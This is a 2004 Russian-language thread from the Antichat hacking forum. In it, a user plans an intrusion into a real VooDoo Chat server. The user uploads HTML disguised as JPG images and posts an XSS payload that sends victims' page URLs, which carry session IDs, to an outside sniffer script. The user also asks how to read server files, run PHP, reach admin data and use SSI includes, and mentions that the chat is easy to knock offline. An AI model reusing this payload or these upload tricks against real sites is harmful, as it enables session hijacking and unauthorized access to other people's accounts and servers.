Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

02.11.2004, 21:16
|
|
Новичок
Регистрация: 30.10.2004
Сообщений: 16
Провел на форуме: 0
Репутация:
0
|
|
Есть чат, есть возможность залить на сервер произвольную ХТМЛ страничку, соответственно будет рабоатть, например,
<script>alert(document.location)</script>
Брал любую страничку (например, yandex.ru) и заливал на сервер чата, эта страничка показывалась со всеми скриптами и т.д.
Если залить РНР, то видин листинг самого РНР, но выполнения нет.
Известна структура каталогов и какие файлы где лежат на сервере.
Как можно увидить листинг необходимого мне файла на сервере (путь и название известны)?
Вообще, что можно сделать в данном случае?
Перехват куки и реферов... скажем так, сессия самих пользователей мне не нужна, лучше получить доступ к файлу, где хранятся данные об админах...
Как можно выполнить РНР как бы не напрямую, а через ХТМЛ, или залить РНР в другую директорию, где разрешено выполнение РНР?
Сорри за глупые вопросы, я пока только учусь :)
|
|
|

03.11.2004, 01:22
|
|
Новичок
Регистрация: 30.10.2004
Сообщений: 16
Провел на форуме: 0
Репутация:
0
|
|
Может кто-нить подскажет, что я неправильно делаю?
Загрузил я в анкету вместо фотки следующий код
<html>
<head>
......
</head>
<body>
<tr><td><img src=" http://chat/photos/26.jpg"><img src=javascript :document.images[1].src=" http://antichat.ru/cgi-bin/s.jpg?zz_...gt;</tr>
</body>
</html>
Соответственно, при просмотре анкеты пользователя, на вместо фото ничего не показывается - стоит крестик, мол фото не загружено, но при прямом обращении к фото
http://chat/photos/113.jpg идет показ фото из другой анкеты 26.jpg, ну и исполняется ява-скрипт.
Но вот в поле снифера видно только следующее
REFERER=http://chat/photos/113.jpg
QUERY=zz_http://chat/photos/113.jpg
хотя саму ссылку я давал в окне чата... за обработку ссылок в чате отвечает РНР - http://chat/go.php?url=http://chat/photos/113.jpg
PS. opener.location у меня не работает.
Каким образом можно перехватить УРЛ, т.к. в нем как раз и содержится сессия?
|
|
|

03.11.2004, 12:23
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
Если в папке запрещено выполнение пхп, то толку от заливки php нет.
Еще можно попробовать посмотреть файлы через иклудинги shtml (если сервер их поддреживает)
|
|
|

03.11.2004, 15:06
|
|
Новичок
Регистрация: 30.10.2004
Сообщений: 16
Провел на форуме: 0
Репутация:
0
|
|
Да. смысла никакого, поэтому интересует вопрос, как можно залив сначала в одну директорию (где фото) перезалить в другую (где возможно выполнение РНР) при помощи ХТМЛ. Извиняюсь заранее за столь глупый вопрос, просто только учусь. Если я неправ, поправте меня или дайте ссылочку, где говорится в чем я неправ.
инклудинги SHTML по всей видимости не работают.. делаю следующее:
<html>
<head>
</head>
<body>
<tr><td>
<img src=" http://chat/photos/26.big.jpg">
<script src=" http://antichat.ru/cgi-bin/s.jpg?zz_...ation.href>
</script>
<!--#echo var="LAST_MODIFIED" -->
</td></tr>
</body>
</html>
Никаких сообщений от сервера о времени последнего обновления странички нет.... только фото...
Интересует такой вопрос, в руководствах по Апачу пишется:
An alternative method of telling the server which files include SSI commands is to use the so-called XBitHack. This involves setting the execute bit on HTML files. Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands.
Что это за Исполняемый Бит (execute bit) внутри ХТМЛ? И как его установить? Или я что-то не так понял?
И вот еще что - почему все же в поле Реферер стоит ссылка точно такая же, какую я даю в Чат, т.е. http://chat/photos/113.jpg, а не ссылка с информацией о том пользователе, который кликнул по моей ссылке?
|
|
|

03.11.2004, 18:35
|
|
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме: 15191
Репутация:
13
|
|
Понятно... вообщем работа идт с "VooDoo Chat"
Итак нащёт первого:
того что в поле снифера отображаетса REFERER=http://chat/photos/113.jpg
QUERY=zz_http://chat/photos/113.jpg
потому когда ты отсылаешь своё фото на сервер он скриптом обрабатывает его и сохраняет на сервере итого твой скрипт имеет ввид картинки в которой сохранен этот код </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><html>
<head>
......
</head>
<body>
<tr><td><img src="http://chat/photos/26.jpg"><img src=javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?zz_"+document.location.href></td></tr>
</body>
</html>
[/QUOTE]<span id='postcolor'>
естественно формат гпг никак его не выполняит, естественно он тебе покажет квадрат картинки, которой не сущесвует...
Ндааа только особо если не сложно объясни как тебе удалось залить туда ХТМЛ страницу и выполнить её... естетвенно если это вохможно то знаит возможно там всё...
ХМ
|
|
|

03.11.2004, 18:36
|
|
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме: 15191
Репутация:
13
|
|
Залить произвольный как ты сказал ХТМЛ вот особо что меня интересует, как помоему там такое было не возможно...
|
|
|

03.11.2004, 20:19
|
|
Новичок
Регистрация: 30.10.2004
Сообщений: 16
Провел на форуме: 0
Репутация:
0
|
|
Как я говорил в самом первом своем послании, любой произвольный ХТМЛ код заливается под видом картинки.
Андрюш, ты же умный ))) ну сам догадайся ))) А хотя, ладно, я знаю, что у тя тоже есть заинтересованность проникнуть в этот чат ))) Токма просьба, не надо всяким Дельфи и прочим чудикам и дурачкам если что рассказывать... а то у них только деструктивные мысли появляются, а ведь наша цель не рушить, а просто исследовать.... Лично мне, надо Бота присоединить к этому чату, чтобы за нецензурщиной следил, а то ты сам знаешь, какие там админы, сами непрочь поматериться и на юзеров оторваться...
Берем ХТМЛ код, сохраняем в файл и делаем расширение JPG, заливаем в чат под видом большой картинки (огранчение на 300 000 байт, но и это можно снять :) ), затем смотрим прямую ссылку на якобы картинку, например, будет http://chat/photos/0/1113.big.jpg (сам можешь посмотреть по этой ссылке что будет и исходный код).... Вот и все ....
|
|
|

03.11.2004, 20:23
|
|
Новичок
Регистрация: 30.10.2004
Сообщений: 16
Провел на форуме: 0
Репутация:
0
|
|
Кста, увалить чат достаточно легко, об этом есть пару веток обсуждений на самом форуме этого чата...
Чат плохо переносит "нагрузку"....
Это явно не chat.php.spb.ru по устойчивости к нагрузке....
|
|
|

03.11.2004, 22:26
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
Я так понял, что заливка происходит в файл с расширением jpg? Тогда понятно, что SSI не исполняется, ведь для него должно быть расширение shtml.
Правда иногда SSI выполняется и в html, но это лишь при определнной настройке сервера (это и есть т.н. "execute bit", т.е. установка, позворяющая считать html файлы исполняемыми скриптами)
|
|
|

04.11.2004, 01:17
|
|
Новичок
Регистрация: 30.10.2004
Сообщений: 16
Провел на форуме: 0
Репутация:
0
|
|
Странно, тогда почему пишется, что "execute bit" должен быть в ХТМЛ-документе?
Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands.
Где все таки его устанавливать? Да, пишут, что XBitHack должен быть прописан в конфигах самого Апача, но одновременно пишут, что любой файл с типом содержимого text/html и с execute bit будет проверяться Апачем на SSI команды....
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|